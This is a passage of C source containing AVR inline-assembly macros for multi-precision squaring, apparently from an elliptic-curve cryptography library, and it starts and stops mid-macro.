17708 "rol r29 \n\t" \
17709 "add r23, r24 \n\t" \
17710 "adc r28, r22 \n\t" \
17711 "adc r29, r25 \n\t" \
17712 "st z+, r23 \n\t" \
17713 \
17714 "ld r9, x+ \n\t" \
17715 "ldi r22, 0 \n\t" \
17716 "mul r10, r8 \n\t" \
17717 "mov r23, r0 \n\t" \
17718 "mov r24, r1 \n\t" \
17719 "mul r11, r7 \n\t" \
17720 "add r23, r0 \n\t" \
17721 "adc r24, r1 \n\t" \
17722 "adc r22, r25 \n\t" \
17723 "mul r12, r6 \n\t" \
17724 "add r23, r0 \n\t" \
17725 "adc r24, r1 \n\t" \
17726 "adc r22, r25 \n\t" \
17727 "mul r13, r5 \n\t" \
17728 "add r23, r0 \n\t" \
17729 "adc r24, r1 \n\t" \
17730 "adc r22, r25 \n\t" \
17731 "mul r14, r4 \n\t" \
17732 "add r23, r0 \n\t" \
17733 "adc r24, r1 \n\t" \
17734 "adc r22, r25 \n\t" \
17735 "mul r15, r3 \n\t" \
17736 "add r23, r0 \n\t" \
17737 "adc r24, r1 \n\t" \
17738 "adc r22, r25 \n\t" \
17739 "mul r16, r2 \n\t" \
17740 "add r23, r0 \n\t" \
17741 "adc r24, r1 \n\t" \
17742 "adc r22, r25 \n\t" \
17743 "mul r17, r21 \n\t" \
17744 "add r23, r0 \n\t" \
17745 "adc r24, r1 \n\t" \
17746 "adc r22, r25 \n\t" \
17747 "mul r18, r20 \n\t" \
17748 "add r23, r0 \n\t" \
17749 "adc r24, r1 \n\t" \
17750 "adc r22, r25 \n\t" \
17751 "ld r0, z \n\t" \
17752 "add r23, r0 \n\t" \
17753 "adc r24, r25 \n\t" \
17754 "adc r22, r25 \n\t" \
17755 "lsl r23 \n\t" \
17756 "rol r24 \n\t" \
17757 "rol r22 \n\t" \
17758 "mul r19, r19 \n\t" \
17759 "add r23, r0 \n\t" \
17760 "adc r24, r1 \n\t" \
17761 "adc r22, r25 \n\t" \
17762 "add r23, r28 \n\t" \
17763 "adc r24, r29 \n\t" \
17764 "adc r22, r25 \n\t" \
17765 "st z+, r23 \n\t" \
17766 \
17767 "ldi r29, 0 \n\t" \
17768 "mul r10, r9 \n\t" \
17769 "mov r23, r0 \n\t" \
17770 "mov r28, r1 \n\t" \
17771 "mul r11, r8 \n\t" \
17772 "add r23, r0 \n\t" \
17773 "adc r28, r1 \n\t" \
17774 "adc r29, r25 \n\t" \
17775 "mul r12, r7 \n\t" \
17776 "add r23, r0 \n\t" \
17777 "adc r28, r1 \n\t" \
17778 "adc r29, r25 \n\t" \
17779 "mul r13, r6 \n\t" \
17780 "add r23, r0 \n\t" \
17781 "adc r28, r1 \n\t" \
17782 "adc r29, r25 \n\t" \
17783 "mul r14, r5 \n\t" \
17784 "add r23, r0 \n\t" \
17785 "adc r28, r1 \n\t" \
17786 "adc r29, r25 \n\t" \
17787 "mul r15, r4 \n\t" \
17788 "add r23, r0 \n\t" \
17789 "adc r28, r1 \n\t" \
17790 "adc r29, r25 \n\t" \
17791 "mul r16, r3 \n\t" \
17792 "add r23, r0 \n\t" \
17793 "adc r28, r1 \n\t" \
17794 "adc r29, r25 \n\t" \
17795 "mul r17, r2 \n\t" \
17796 "add r23, r0 \n\t" \
17797 "adc r28, r1 \n\t" \
17798 "adc r29, r25 \n\t" \
17799 "mul r18, r21 \n\t" \
17800 "add r23, r0 \n\t" \
17801 "adc r28, r1 \n\t" \
17802 "adc r29, r25 \n\t" \
17803 "mul r19, r20 \n\t" \
17804 "add r23, r0 \n\t" \
17805 "adc r28, r1 \n\t" \
17806 "adc r29, r25 \n\t" \
17807 "ld r0, z \n\t" \
17808 "add r23, r0 \n\t" \
17809 "adc r28, r25 \n\t" \
17810 "adc r29, r25 \n\t" \
17811 "lsl r23 \n\t" \
17812 "rol r28 \n\t" \
17813 "rol r29 \n\t" \
17814 "add r23, r24 \n\t" \
17815 "adc r28, r22 \n\t" \
17816 "adc r29, r25 \n\t" \
17817 "st z+, r23 \n\t" \
17818 \
17819 "ldi r22, 0 \n\t" \
17820 "mul r11, r9 \n\t" \
17821 "mov r23, r0 \n\t" \
17822 "mov r24, r1 \n\t" \
17823 "mul r12, r8 \n\t" \
17824 "add r23, r0 \n\t" \
17825 "adc r24, r1 \n\t" \
17826 "adc r22, r25 \n\t" \
17827 "mul r13, r7 \n\t" \
17828 "add r23, r0 \n\t" \
17829 "adc r24, r1 \n\t" \
17830 "adc r22, r25 \n\t" \
17831 "mul r14, r6 \n\t" \
17832 "add r23, r0 \n\t" \
17833 "adc r24, r1 \n\t" \
17834 "adc r22, r25 \n\t" \
17835 "mul r15, r5 \n\t" \
17836 "add r23, r0 \n\t" \
17837 "adc r24, r1 \n\t" \
17838 "adc r22, r25 \n\t" \
17839 "mul r16, r4 \n\t" \
17840 "add r23, r0 \n\t" \
17841 "adc r24, r1 \n\t" \
17842 "adc r22, r25 \n\t" \
17843 "mul r17, r3 \n\t" \
17844 "add r23, r0 \n\t" \
17845 "adc r24, r1 \n\t" \
17846 "adc r22, r25 \n\t" \
17847 "mul r18, r2 \n\t" \
17848 "add r23, r0 \n\t" \
17849 "adc r24, r1 \n\t" \
17850 "adc r22, r25 \n\t" \
17851 "mul r19, r21 \n\t" \
17852 "add r23, r0 \n\t" \
17853 "adc r24, r1 \n\t" \
17854 "adc r22, r25 \n\t" \
17855 "lsl r23 \n\t" \
17856 "rol r24 \n\t" \
17857 "rol r22 \n\t" \
17858 "mul r20, r20 \n\t" \
17859 "add r23, r0 \n\t" \
17860 "adc r24, r1 \n\t" \
17861 "adc r22, r25 \n\t" \
17862 "add r23, r28 \n\t" \
17863 "adc r24, r29 \n\t" \
17864 "adc r22, r25 \n\t" \
17865 "st z+, r23 \n\t" \
17866 \
17867 "ldi r29, 0 \n\t" \
17868 "mul r12, r9 \n\t" \
17869 "mov r23, r0 \n\t" \
17870 "mov r28, r1 \n\t" \
17871 "mul r13, r8 \n\t" \
17872 "add r23, r0 \n\t" \
17873 "adc r28, r1 \n\t" \
17874 "adc r29, r25 \n\t" \
17875 "mul r14, r7 \n\t" \
17876 "add r23, r0 \n\t" \
17877 "adc r28, r1 \n\t" \
17878 "adc r29, r25 \n\t" \
17879 "mul r15, r6 \n\t" \
17880 "add r23, r0 \n\t" \
17881 "adc r28, r1 \n\t" \
17882 "adc r29, r25 \n\t" \
17883 "mul r16, r5 \n\t" \
17884 "add r23, r0 \n\t" \
17885 "adc r28, r1 \n\t" \
17886 "adc r29, r25 \n\t" \
17887 "mul r17, r4 \n\t" \
17888 "add r23, r0 \n\t" \
17889 "adc r28, r1 \n\t" \
17890 "adc r29, r25 \n\t" \
17891 "mul r18, r3 \n\t" \
17892 "add r23, r0 \n\t" \
17893 "adc r28, r1 \n\t" \
17894 "adc r29, r25 \n\t" \
17895 "mul r19, r2 \n\t" \
17896 "add r23, r0 \n\t" \
17897 "adc r28, r1 \n\t" \
17898 "adc r29, r25 \n\t" \
17899 "mul r20, r21 \n\t" \
17900 "add r23, r0 \n\t" \
17901 "adc r28, r1 \n\t" \
17902 "adc r29, r25 \n\t" \
17903 "lsl r23 \n\t" \
17904 "rol r28 \n\t" \
17905 "rol r29 \n\t" \
17906 "add r23, r24 \n\t" \
17907 "adc r28, r22 \n\t" \
17908 "adc r29, r25 \n\t" \
17909 "st z+, r23 \n\t" \
17910 \
17911 "ldi r22, 0 \n\t" \
17912 "mul r13, r9 \n\t" \
17913 "mov r23, r0 \n\t" \
17914 "mov r24, r1 \n\t" \
17915 "mul r14, r8 \n\t" \
17916 "add r23, r0 \n\t" \
17917 "adc r24, r1 \n\t" \
17918 "adc r22, r25 \n\t" \
17919 "mul r15, r7 \n\t" \
17920 "add r23, r0 \n\t" \
17921 "adc r24, r1 \n\t" \
17922 "adc r22, r25 \n\t" \
17923 "mul r16, r6 \n\t" \
17924 "add r23, r0 \n\t" \
17925 "adc r24, r1 \n\t" \
17926 "adc r22, r25 \n\t" \
17927 "mul r17, r5 \n\t" \
17928 "add r23, r0 \n\t" \
17929 "adc r24, r1 \n\t" \
17930 "adc r22, r25 \n\t" \
17931 "mul r18, r4 \n\t" \
17932 "add r23, r0 \n\t" \
17933 "adc r24, r1 \n\t" \
17934 "adc r22, r25 \n\t" \
17935 "mul r19, r3 \n\t" \
17936 "add r23, r0 \n\t" \
17937 "adc r24, r1 \n\t" \
17938 "adc r22, r25 \n\t" \
17939 "mul r20, r2 \n\t" \
17940 "add r23, r0 \n\t" \
17941 "adc r24, r1 \n\t" \
17942 "adc r22, r25 \n\t" \
17943 "lsl r23 \n\t" \
17944 "rol r24 \n\t" \
17945 "rol r22 \n\t" \
17946 "mul r21, r21 \n\t" \
17947 "add r23, r0 \n\t" \
17948 "adc r24, r1 \n\t" \
17949 "adc r22, r25 \n\t" \
17950 "add r23, r28 \n\t" \
17951 "adc r24, r29 \n\t" \
17952 "adc r22, r25 \n\t" \
17953 "st z+, r23 \n\t" \
17954 \
17955 "ldi r29, 0 \n\t" \
17956 "mul r14, r9 \n\t" \
17957 "mov r23, r0 \n\t" \
17958 "mov r28, r1 \n\t" \
17959 "mul r15, r8 \n\t" \
17960 "add r23, r0 \n\t" \
17961 "adc r28, r1 \n\t" \
17962 "adc r29, r25 \n\t" \
17963 "mul r16, r7 \n\t" \
17964 "add r23, r0 \n\t" \
17965 "adc r28, r1 \n\t" \
17966 "adc r29, r25 \n\t" \
17967 "mul r17, r6 \n\t" \
17968 "add r23, r0 \n\t" \
17969 "adc r28, r1 \n\t" \
17970 "adc r29, r25 \n\t" \
17971 "mul r18, r5 \n\t" \
17972 "add r23, r0 \n\t" \
17973 "adc r28, r1 \n\t" \
17974 "adc r29, r25 \n\t" \
17975 "mul r19, r4 \n\t" \
17976 "add r23, r0 \n\t" \
17977 "adc r28, r1 \n\t" \
17978 "adc r29, r25 \n\t" \
17979 "mul r20, r3 \n\t" \
17980 "add r23, r0 \n\t" \
17981 "adc r28, r1 \n\t" \
17982 "adc r29, r25 \n\t" \
17983 "mul r21, r2 \n\t" \
17984 "add r23, r0 \n\t" \
17985 "adc r28, r1 \n\t" \
17986 "adc r29, r25 \n\t" \
17987 "lsl r23 \n\t" \
17988 "rol r28 \n\t" \
17989 "rol r29 \n\t" \
17990 "add r23, r24 \n\t" \
17991 "adc r28, r22 \n\t" \
17992 "adc r29, r25 \n\t" \
17993 "st z+, r23 \n\t" \
17994 \
17995 "ldi r22, 0 \n\t" \
17996 "mul r15, r9 \n\t" \
17997 "mov r23, r0 \n\t" \
17998 "mov r24, r1 \n\t" \
17999 "mul r16, r8 \n\t" \
18000 "add r23, r0 \n\t" \
18001 "adc r24, r1 \n\t" \
18002 "adc r22, r25 \n\t" \
18003 "mul r17, r7 \n\t" \
18004 "add r23, r0 \n\t" \
18005 "adc r24, r1 \n\t" \
18006 "adc r22, r25 \n\t" \
18007 "mul r18, r6 \n\t" \
18008 "add r23, r0 \n\t" \
18009 "adc r24, r1 \n\t" \
18010 "adc r22, r25 \n\t" \
18011 "mul r19, r5 \n\t" \
18012 "add r23, r0 \n\t" \
18013 "adc r24, r1 \n\t" \
18014 "adc r22, r25 \n\t" \
18015 "mul r20, r4 \n\t" \
18016 "add r23, r0 \n\t" \
18017 "adc r24, r1 \n\t" \
18018 "adc r22, r25 \n\t" \
18019 "mul r21, r3 \n\t" \
18020 "add r23, r0 \n\t" \
18021 "adc r24, r1 \n\t" \
18022 "adc r22, r25 \n\t" \
18023 "lsl r23 \n\t" \
18024 "rol r24 \n\t" \
18025 "rol r22 \n\t" \
18026 "mul r2, r2 \n\t" \
18027 "add r23, r0 \n\t" \
18028 "adc r24, r1 \n\t" \
18029 "adc r22, r25 \n\t" \
18030 "add r23, r28 \n\t" \
18031 "adc r24, r29 \n\t" \
18032 "adc r22, r25 \n\t" \
18033 "st z+, r23 \n\t" \
18034 \
18035 "ldi r29, 0 \n\t" \
18036 "mul r16, r9 \n\t" \
18037 "mov r23, r0 \n\t" \
18038 "mov r28, r1 \n\t" \
18039 "mul r17, r8 \n\t" \
18040 "add r23, r0 \n\t" \
18041 "adc r28, r1 \n\t" \
18042 "adc r29, r25 \n\t" \
18043 "mul r18, r7 \n\t" \
18044 "add r23, r0 \n\t" \
18045 "adc r28, r1 \n\t" \
18046 "adc r29, r25 \n\t" \
18047 "mul r19, r6 \n\t" \
18048 "add r23, r0 \n\t" \
18049 "adc r28, r1 \n\t" \
18050 "adc r29, r25 \n\t" \
18051 "mul r20, r5 \n\t" \
18052 "add r23, r0 \n\t" \
18053 "adc r28, r1 \n\t" \
18054 "adc r29, r25 \n\t" \
18055 "mul r21, r4 \n\t" \
18056 "add r23, r0 \n\t" \
18057 "adc r28, r1 \n\t" \
18058 "adc r29, r25 \n\t" \
18059 "mul r2, r3 \n\t" \
18060 "add r23, r0 \n\t" \
18061 "adc r28, r1 \n\t" \
18062 "adc r29, r25 \n\t" \
18063 "lsl r23 \n\t" \
18064 "rol r28 \n\t" \
18065 "rol r29 \n\t" \
18066 "add r23, r24 \n\t" \
18067 "adc r28, r22 \n\t" \
18068 "adc r29, r25 \n\t" \
18069 "st z+, r23 \n\t" \
18070 \
18071 "ldi r22, 0 \n\t" \
18072 "mul r17, r9 \n\t" \
18073 "mov r23, r0 \n\t" \
18074 "mov r24, r1 \n\t" \
18075 "mul r18, r8 \n\t" \
18076 "add r23, r0 \n\t" \
18077 "adc r24, r1 \n\t" \
18078 "adc r22, r25 \n\t" \
18079 "mul r19, r7 \n\t" \
18080 "add r23, r0 \n\t" \
18081 "adc r24, r1 \n\t" \
18082 "adc r22, r25 \n\t" \
18083 "mul r20, r6 \n\t" \
18084 "add r23, r0 \n\t" \
18085 "adc r24, r1 \n\t" \
18086 "adc r22, r25 \n\t" \
18087 "mul r21, r5 \n\t" \
18088 "add r23, r0 \n\t" \
18089 "adc r24, r1 \n\t" \
18090 "adc r22, r25 \n\t" \
18091 "mul r2, r4 \n\t" \
18092 "add r23, r0 \n\t" \
18093 "adc r24, r1 \n\t" \
18094 "adc r22, r25 \n\t" \
18095 "lsl r23 \n\t" \
18096 "rol r24 \n\t" \
18097 "rol r22 \n\t" \
18098 "mul r3, r3 \n\t" \
18099 "add r23, r0 \n\t" \
18100 "adc r24, r1 \n\t" \
18101 "adc r22, r25 \n\t" \
18102 "add r23, r28 \n\t" \
18103 "adc r24, r29 \n\t" \
18104 "adc r22, r25 \n\t" \
18105 "st z+, r23 \n\t" \
18106 \
18107 "ldi r29, 0 \n\t" \
18108 "mul r18, r9 \n\t" \
18109 "mov r23, r0 \n\t" \
18110 "mov r28, r1 \n\t" \
18111 "mul r19, r8 \n\t" \
18112 "add r23, r0 \n\t" \
18113 "adc r28, r1 \n\t" \
18114 "adc r29, r25 \n\t" \
18115 "mul r20, r7 \n\t" \
18116 "add r23, r0 \n\t" \
18117 "adc r28, r1 \n\t" \
18118 "adc r29, r25 \n\t" \
18119 "mul r21, r6 \n\t" \
18120 "add r23, r0 \n\t" \
18121 "adc r28, r1 \n\t" \
18122 "adc r29, r25 \n\t" \
18123 "mul r2, r5 \n\t" \
18124 "add r23, r0 \n\t" \
18125 "adc r28, r1 \n\t" \
18126 "adc r29, r25 \n\t" \
18127 "mul r3, r4 \n\t" \
18128 "add r23, r0 \n\t" \
18129 "adc r28, r1 \n\t" \
18130 "adc r29, r25 \n\t" \
18131 "lsl r23 \n\t" \
18132 "rol r28 \n\t" \
18133 "rol r29 \n\t" \
18134 "add r23, r24 \n\t" \
18135 "adc r28, r22 \n\t" \
18136 "adc r29, r25 \n\t" \
18137 "st z+, r23 \n\t" \
18138 \
18139 "ldi r22, 0 \n\t" \
18140 "mul r19, r9 \n\t" \
18141 "mov r23, r0 \n\t" \
18142 "mov r24, r1 \n\t" \
18143 "mul r20, r8 \n\t" \
18144 "add r23, r0 \n\t" \
18145 "adc r24, r1 \n\t" \
18146 "adc r22, r25 \n\t" \
18147 "mul r21, r7 \n\t" \
18148 "add r23, r0 \n\t" \
18149 "adc r24, r1 \n\t" \
18150 "adc r22, r25 \n\t" \
18151 "mul r2, r6 \n\t" \
18152 "add r23, r0 \n\t" \
18153 "adc r24, r1 \n\t" \
18154 "adc r22, r25 \n\t" \
18155 "mul r3, r5 \n\t" \
18156 "add r23, r0 \n\t" \
18157 "adc r24, r1 \n\t" \
18158 "adc r22, r25 \n\t" \
18159 "lsl r23 \n\t" \
18160 "rol r24 \n\t" \
18161 "rol r22 \n\t" \
18162 "mul r4, r4 \n\t" \
18163 "add r23, r0 \n\t" \
18164 "adc r24, r1 \n\t" \
18165 "adc r22, r25 \n\t" \
18166 "add r23, r28 \n\t" \
18167 "adc r24, r29 \n\t" \
18168 "adc r22, r25 \n\t" \
18169 "st z+, r23 \n\t" \
18170 \
18171 "ldi r29, 0 \n\t" \
18172 "mul r20, r9 \n\t" \
18173 "mov r23, r0 \n\t" \
18174 "mov r28, r1 \n\t" \
18175 "mul r21, r8 \n\t" \
18176 "add r23, r0 \n\t" \
18177 "adc r28, r1 \n\t" \
18178 "adc r29, r25 \n\t" \
18179 "mul r2, r7 \n\t" \
18180 "add r23, r0 \n\t" \
18181 "adc r28, r1 \n\t" \
18182 "adc r29, r25 \n\t" \
18183 "mul r3, r6 \n\t" \
18184 "add r23, r0 \n\t" \
18185 "adc r28, r1 \n\t" \
18186 "adc r29, r25 \n\t" \
18187 "mul r4, r5 \n\t" \
18188 "add r23, r0 \n\t" \
18189 "adc r28, r1 \n\t" \
18190 "adc r29, r25 \n\t" \
18191 "lsl r23 \n\t" \
18192 "rol r28 \n\t" \
18193 "rol r29 \n\t" \
18194 "add r23, r24 \n\t" \
18195 "adc r28, r22 \n\t" \
18196 "adc r29, r25 \n\t" \
18197 "st z+, r23 \n\t" \
18198 \
18199 "ldi r22, 0 \n\t" \
18200 "mul r21, r9 \n\t" \
18201 "mov r23, r0 \n\t" \
18202 "mov r24, r1 \n\t" \
18203 "mul r2, r8 \n\t" \
18204 "add r23, r0 \n\t" \
18205 "adc r24, r1 \n\t" \
18206 "adc r22, r25 \n\t" \
18207 "mul r3, r7 \n\t" \
18208 "add r23, r0 \n\t" \
18209 "adc r24, r1 \n\t" \
18210 "adc r22, r25 \n\t" \
18211 "mul r4, r6 \n\t" \
18212 "add r23, r0 \n\t" \
18213 "adc r24, r1 \n\t" \
18214 "adc r22, r25 \n\t" \
18215 "lsl r23 \n\t" \
18216 "rol r24 \n\t" \
18217 "rol r22 \n\t" \
18218 "mul r5, r5 \n\t" \
18219 "add r23, r0 \n\t" \
18220 "adc r24, r1 \n\t" \
18221 "adc r22, r25 \n\t" \
18222 "add r23, r28 \n\t" \
18223 "adc r24, r29 \n\t" \
18224 "adc r22, r25 \n\t" \
18225 "st z+, r23 \n\t" \
18226 \
18227 "ldi r29, 0 \n\t" \
18228 "mul r2, r9 \n\t" \
18229 "mov r23, r0 \n\t" \
18230 "mov r28, r1 \n\t" \
18231 "mul r3, r8 \n\t" \
18232 "add r23, r0 \n\t" \
18233 "adc r28, r1 \n\t" \
18234 "adc r29, r25 \n\t" \
18235 "mul r4, r7 \n\t" \
18236 "add r23, r0 \n\t" \
18237 "adc r28, r1 \n\t" \
18238 "adc r29, r25 \n\t" \
18239 "mul r5, r6 \n\t" \
18240 "add r23, r0 \n\t" \
18241 "adc r28, r1 \n\t" \
18242 "adc r29, r25 \n\t" \
18243 "lsl r23 \n\t" \
18244 "rol r28 \n\t" \
18245 "rol r29 \n\t" \
18246 "add r23, r24 \n\t" \
18247 "adc r28, r22 \n\t" \
18248 "adc r29, r25 \n\t" \
18249 "st z+, r23 \n\t" \
18250 \
18251 "ldi r22, 0 \n\t" \
18252 "mul r3, r9 \n\t" \
18253 "mov r23, r0 \n\t" \
18254 "mov r24, r1 \n\t" \
18255 "mul r4, r8 \n\t" \
18256 "add r23, r0 \n\t" \
18257 "adc r24, r1 \n\t" \
18258 "adc r22, r25 \n\t" \
18259 "mul r5, r7 \n\t" \
18260 "add r23, r0 \n\t" \
18261 "adc r24, r1 \n\t" \
18262 "adc r22, r25 \n\t" \
18263 "lsl r23 \n\t" \
18264 "rol r24 \n\t" \
18265 "rol r22 \n\t" \
18266 "mul r6, r6 \n\t" \
18267 "add r23, r0 \n\t" \
18268 "adc r24, r1 \n\t" \
18269 "adc r22, r25 \n\t" \
18270 "add r23, r28 \n\t" \
18271 "adc r24, r29 \n\t" \
18272 "adc r22, r25 \n\t" \
18273 "st z+, r23 \n\t" \
18274 \
18275 "ldi r29, 0 \n\t" \
18276 "mul r4, r9 \n\t" \
18277 "mov r23, r0 \n\t" \
18278 "mov r28, r1 \n\t" \
18279 "mul r5, r8 \n\t" \
18280 "add r23, r0 \n\t" \
18281 "adc r28, r1 \n\t" \
18282 "adc r29, r25 \n\t" \
18283 "mul r6, r7 \n\t" \
18284 "add r23, r0 \n\t" \
18285 "adc r28, r1 \n\t" \
18286 "adc r29, r25 \n\t" \
18287 "lsl r23 \n\t" \
18288 "rol r28 \n\t" \
18289 "rol r29 \n\t" \
18290 "add r23, r24 \n\t" \
18291 "adc r28, r22 \n\t" \
18292 "adc r29, r25 \n\t" \
18293 "st z+, r23 \n\t" \
18294 \
18295 "ldi r22, 0 \n\t" \
18296 "mul r5, r9 \n\t" \
18297 "mov r23, r0 \n\t" \
18298 "mov r24, r1 \n\t" \
18299 "mul r6, r8 \n\t" \
18300 "add r23, r0 \n\t" \
18301 "adc r24, r1 \n\t" \
18302 "adc r22, r25 \n\t" \
18303 "lsl r23 \n\t" \
18304 "rol r24 \n\t" \
18305 "rol r22 \n\t" \
18306 "mul r7, r7 \n\t" \
18307 "add r23, r0 \n\t" \
18308 "adc r24, r1 \n\t" \
18309 "adc r22, r25 \n\t" \
18310 "add r23, r28 \n\t" \
18311 "adc r24, r29 \n\t" \
18312 "adc r22, r25 \n\t" \
18313 "st z+, r23 \n\t" \
18314 \
18315 "ldi r29, 0 \n\t" \
18316 "mul r6, r9 \n\t" \
18317 "mov r23, r0 \n\t" \
18318 "mov r28, r1 \n\t" \
18319 "mul r7, r8 \n\t" \
18320 "add r23, r0 \n\t" \
18321 "adc r28, r1 \n\t" \
18322 "adc r29, r25 \n\t" \
18323 "lsl r23 \n\t" \
18324 "rol r28 \n\t" \
18325 "rol r29 \n\t" \
18326 "add r23, r24 \n\t" \
18327 "adc r28, r22 \n\t" \
18328 "adc r29, r25 \n\t" \
18329 "st z+, r23 \n\t" \
18330 \
18331 "ldi r23, 0 \n\t" \
18332 "mul r7, r9 \n\t" \
18333 "add r28, r0 \n\t" \
18334 "adc r29, r1 \n\t" \
18335 "adc r23, r25 \n\t" \
18336 "add r28, r0 \n\t" \
18337 "adc r29, r1 \n\t" \
18338 "adc r23, r25 \n\t" \
18339 "mul r8, r8 \n\t" \
18340 "add r28, r0 \n\t" \
18341 "adc r29, r1 \n\t" \
18342 "adc r23, r25 \n\t" \
18343 "st z+, r28 \n\t" \
18344 \
18345 "ldi r28, 0 \n\t" \
18346 "mul r8, r9 \n\t" \
18347 "add r29, r0 \n\t" \
18348 "adc r23, r1 \n\t" \
18349 "adc r28, r25 \n\t" \
18350 "add r29, r0 \n\t" \
18351 "adc r23, r1 \n\t" \
18352 "adc r28, r25 \n\t" \
18353 "st z+, r29 \n\t" \
18354 \
18355 "mul r9, r9 \n\t" \
18356 "add r23, r0 \n\t" \
18357 "adc r28, r1 \n\t" \
18358 "st z+, r23 \n\t" \
18359 "st z+, r28 \n\t" \
18360 "eor r1, r1 \n\t"
18361
18362 #define FAST_SQUARE_ASM_8 \
18363 "ldi r25, 0 \n\t" \
18364 "movw r28, r26 \n\t" \
18365 "ld r2, x+ \n\t" \
18366 "ld r3, x+ \n\t" \
18367 "ld r4, x+ \n\t" \
18368 "ld r5, x+ \n\t" \
18369 "ld r6, x+ \n\t" \
18370 "ld r7, x+ \n\t" \
18371 "adiw r28, 20 \n\t" \
18372 "ld r12, y+ \n\t" \
18373 "ld r13, y+ \n\t" \
18374 "ld r14, y+ \n\t" \
18375 "ld r15, y+ \n\t" \
18376 "ld r16, y+ \n\t" \
18377 "ld r17, y+ \n\t" \
18378 "adiw r30, 20 \n\t" \
18379 \
18380 "ldi r23, 0 \n\t" \
18381 "mul 2, 12 \n\t" \
18382 "st z+, r0 \n\t" \
18383 "mov r22, r1 \n\t" \
18384 \
18385 "ldi r24, 0 \n\t" \
18386 "mul r2, r13 \n\t" \
18387 "add r22, r0 \n\t" \
18388 "adc r23, r1 \n\t" \
18389 "adc r24, r25 \n\t" \
18390 "st z+, r22 \n\t" \
18391 \
18392 "ldi r22, 0 \n\t" \
18393 "mul r2, r14 \n\t" \
18394 "add r23, r0 \n\t" \
18395 "adc r24, r1 \n\t" \
18396 "adc r22, r25 \n\t" \
18397 "mul r3, r13 \n\t" \
18398 "add r23, r0 \n\t" \
18399 "adc r24, r1 \n\t" \
18400 "adc r22, r25 \n\t" \
18401 "st z+, r23 \n\t" \
18402 \
18403 "ldi r23, 0 \n\t" \
18404 "mul r2, r15 \n\t" \
18405 "add r24, r0 \n\t" \
18406 "adc r22, r1 \n\t" \
18407 "adc r23, r25 \n\t" \
18408 "mul r3, r14 \n\t" \
18409 "add r24, r0 \n\t" \
18410 "adc r22, r1 \n\t" \
18411 "adc r23, r25 \n\t" \
18412 "st z+, r24 \n\t" \
18413 \
18414 "ldi r24, 0 \n\t" \
18415 "mul r2, r16 \n\t" \
18416 "add r22, r0 \n\t" \
18417 "adc r23, r1 \n\t" \
18418 "adc r24, r25 \n\t" \
18419 "mul r3, r15 \n\t" \
18420 "add r22, r0 \n\t" \
18421 "adc r23, r1 \n\t" \
18422 "adc r24, r25 \n\t" \
18423 "mul r4, r14 \n\t" \
18424 "add r22, r0 \n\t" \
18425 "adc r23, r1 \n\t" \
18426 "adc r24, r25 \n\t" \
18427 "st z+, r22 \n\t" \
18428 \
18429 "ldi r22, 0 \n\t" \
18430 "mul r2, r17 \n\t" \
18431 "add r23, r0 \n\t" \
18432 "adc r24, r1 \n\t" \
18433 "adc r22, r25 \n\t" \
18434 "mul r3, r16 \n\t" \
18435 "add r23, r0 \n\t" \
18436 "adc r24, r1 \n\t" \
18437 "adc r22, r25 \n\t" \
18438 "mul r4, r15 \n\t" \
18439 "add r23, r0 \n\t" \
18440 "adc r24, r1 \n\t" \
18441 "adc r22, r25 \n\t" \
18442 "st z+, r23 \n\t" \
18443 \
18444 "ld r12, y+ \n\t" \
18445 "ldi r23, 0 \n\t" \
18446 "mul r2, r12 \n\t" \
18447 "add r24, r0 \n\t" \
18448 "adc r22, r1 \n\t" \
18449 "adc r23, r25 \n\t" \
18450 "mul r3, r17 \n\t" \
18451 "add r24, r0 \n\t" \
18452 "adc r22, r1 \n\t" \
18453 "adc r23, r25 \n\t" \
18454 "mul r4, r16 \n\t" \
18455 "add r24, r0 \n\t" \
18456 "adc r22, r1 \n\t" \
18457 "adc r23, r25 \n\t" \
18458 "mul r5, r15 \n\t" \
18459 "add r24, r0 \n\t" \
18460 "adc r22, r1 \n\t" \
18461 "adc r23, r25 \n\t" \
18462 "st z+, r24 \n\t" \
18463 \
18464 "ld r13, y+ \n\t" \
18465 "ldi r24, 0 \n\t" \
18466 "mul r2, r13 \n\t" \
18467 "add r22, r0 \n\t" \
18468 "adc r23, r1 \n\t" \
18469 "adc r24, r25 \n\t" \
18470 "mul r3, r12 \n\t" \
18471 "add r22, r0 \n\t" \
18472 "adc r23, r1 \n\t" \
18473 "adc r24, r25 \n\t" \
18474 "mul r4, r17 \n\t" \
18475 "add r22, r0 \n\t" \
18476 "adc r23, r1 \n\t" \
18477 "adc r24, r25 \n\t" \
18478 "mul r5, r16 \n\t" \
18479 "add r22, r0 \n\t" \
18480 "adc r23, r1 \n\t" \
18481 "adc r24, r25 \n\t" \
18482 "st z+, r22 \n\t" \
18483 \
18484 "ld r14, y+ \n\t" \
18485 "ldi r22, 0 \n\t" \
18486 "mul r2, r14 \n\t" \
18487 "add r23, r0 \n\t" \
18488 "adc r24, r1 \n\t" \
18489 "adc r22, r25 \n\t" \
18490 "mul r3, r13 \n\t" \
18491 "add r23, r0 \n\t" \
18492 "adc r24, r1 \n\t" \
18493 "adc r22, r25 \n\t" \
18494 "mul r4, r12 \n\t" \
18495 "add r23, r0 \n\t" \
18496 "adc r24, r1 \n\t" \
18497 "adc r22, r25 \n\t" \
18498 "mul r5, r17 \n\t" \
18499 "add r23, r0 \n\t" \
18500 "adc r24, r1 \n\t" \
18501 "adc r22, r25 \n\t" \
18502 "mul r6, r16 \n\t" \
18503 "add r23, r0 \n\t" \
18504 "adc r24, r1 \n\t" \
18505 "adc r22, r25 \n\t" \
18506 "st z+, r23 \n\t" \
18507 \
18508 "ld r15, y+ \n\t" \
18509 "ldi r23, 0 \n\t" \
18510 "mul r2, r15 \n\t" \
18511 "add r24, r0 \n\t" \
18512 "adc r22, r1 \n\t" \
18513 "adc r23, r25 \n\t" \
18514 "mul r3, r14 \n\t" \
18515 "add r24, r0 \n\t" \
18516 "adc r22, r1 \n\t" \
18517 "adc r23, r25 \n\t" \
18518 "mul r4, r13 \n\t" \
18519 "add r24, r0 \n\t" \
18520 "adc r22, r1 \n\t" \
18521 "adc r23, r25 \n\t" \
18522 "mul r5, r12 \n\t" \
18523 "add r24, r0 \n\t" \
18524 "adc r22, r1 \n\t" \
18525 "adc r23, r25 \n\t" \
18526 "mul r6, r17 \n\t" \
18527 "add r24, r0 \n\t" \
18528 "adc r22, r1 \n\t" \
18529 "adc r23, r25 \n\t" \
18530 "st z+, r24 \n\t" \
18531 \
18532 "ld r16, y+ \n\t" \
18533 "ldi r24, 0 \n\t" \
18534 "mul r2, r16 \n\t" \
18535 "add r22, r0 \n\t" \
18536 "adc r23, r1 \n\t" \
